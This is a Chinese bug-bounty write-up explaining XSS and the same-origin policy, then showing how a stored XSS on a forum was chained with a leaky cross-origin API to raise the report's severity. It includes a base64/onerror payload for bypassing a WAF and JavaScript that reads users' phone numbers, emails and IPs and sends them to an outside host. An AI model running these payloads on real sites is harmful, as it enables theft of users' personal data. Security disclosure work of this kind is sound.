前言
SRC(安全应急响应中心,是企业用于对外接收来自用户发现并报告的产品安全漏洞的站点),白帽子可通过挖掘企业的安全漏洞,换取一定的奖励,如:现金、京东卡、周边礼物、节日礼盒等,目前国内已有近百家企业SRC平台,例如百度、阿里、腾讯、美团、滴滴等。
本次带来的是,OWASP TOP10 中最常见的安全漏洞:跨站脚本攻击(XSS),大多数SRC平台会把反射型XSS漏洞评为低危,所以这时候我们就需要思考,如何将低危漏洞升级为高危? 这里我们将利用XSS+浏览器同源策略,加大漏洞危害,提高漏洞评级。
先给大家简单介绍一下什么是跨站脚本攻击(XSS),这种攻击的原理是攻击者向有XSS漏洞的网站中输入恶意的HTML代码,当其它用户浏览该网站时,这段HTML代码会自动执行,从而达到攻击的目的。
XSS攻击的核心是将可执行的前端脚本代码(一般为JavaScript)植入到网页中,听起来比较拗口,用大白话说就是攻击者想让你的浏览器执行他写的JS代码。那如何办到呢?一般XSS分为两种:
1、反射型:
1、攻击者将JS代码作为请求参数放置URL中,诱导用户点击。示例:
http://localhost:8080/test?name=<script>alert("you are under attack!")</script>
2、用户点击后,该JS作为请求参数传给Web服务器后端
3、后端服务器没有检查过滤,简单处理后放入网页正文中返回给浏览器
4、浏览器解析返回的网页,中招!
2、存储型
上述方式攻击脚本直接经服务器转手后返回浏览器触发执行,存储型与之的区别在于能够将攻击脚本入库存储,在后面进行查询时,再将攻击脚本渲染进网页,返回给浏览器触发执行。常见的套路举例如下:
1、攻击者网页回帖,帖子中包含JS脚本
2、回帖提交服务器后,存储至数据库
3、其他网友查看帖子,后台查询该帖子的回帖内容,构建完整网页,返回浏览器
4、该网友浏览器渲染返回的网页,中招!
说完了XSS攻击的原理,再给大家介绍一下什么是同源策略。
同源策略(Same origin policy)是一种约定,它是浏览器最核心也最基本的安全功能,它限制了网站前端能够访问的网络资源,如果缺少了同源策略,则浏览器的正常功能可能都会受到影响。可以说Web是构建在同源策略基础之上的,浏览器只是针对同源策略的一种实现。
漏洞挖掘过程
漏洞目标:某SRC-论坛站点
漏洞发现方式
1、子域名找到一个链接,发现存在存储型xss。
2、在另一个子域名中,发现某个接口可以跨域,获取用户手机号、邮箱、访问ip等信息。
两个漏洞结合起来,在论坛中投放链接,可偷偷获取大量用户信息
漏洞详情
第一步:漏洞验证
第一个,存储型xss
https://act.zzzzzz.cn/index.php?mod=book&action=mobile&id=9
评论处存在存储型xss
https://act.zzzzzzz.cn/index.php?mod=comment&action=add&sid=9&type=readat10&content=%E5%BE%88%E5%A5%BD<img+src=x+id=zzzzzzzzzjdW1lbnQuY3JlYXRlRWxlbWVudCgiczzzzzzzzzzzzzz0dHBzOi8veDAubnovanhrayzzzzW1lbnQuYm9kezzzzzzzzzzzzzzzzzzzChhKTs=+οnerrοr=eval(atob(this.id))
这里为了绕过WAF,采用了<img+src=x+id=YWxlcnQoMSkg+οnerrοr=eval(atob(this.id))>进行绕过
第二个接口,跨域获取用户数据
https://bbs-act.zzzzzzz.cn/index.php?mod=index&action=win_list&limit=1&id=2
两个漏洞结合,增加危害
1、在xss页面,写上代码,直接调用跨域接口
第二步,在远端的js代码,调用接口,并把数据发送到远端
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
//document.getElementById("demo").innerHTML = alert(this.responseText);
var aa = JSON.parse(this.responseText);
console.log(aa['data']['user']['phone']+','+aa['data']['user']['email']);
var s=document.createElement('img');
document.body.appendChild(s);
s.src='//xxx.xxxxxx.cn?phone='+aa['data']['user']['phone']+'&email='+aa['data']['user']['email']+'&clientip='+aa['data']['user']['clientip'];
}
};
xhttp.open("GET", "https://bbs-act.zzzzz.cn/index.php?mod=index&action=win_list&limit=20&id=2", true);
xhttp.withCredentials = true;
xhttp.send()
第三步 查看效果
当访问我们论坛上的地址时,就可以获取到对方的手机号、邮箱、IP地址等信息
漏洞等级成功实现从低危升级为高危!
接下来就去提交漏洞,赚取奖励吧~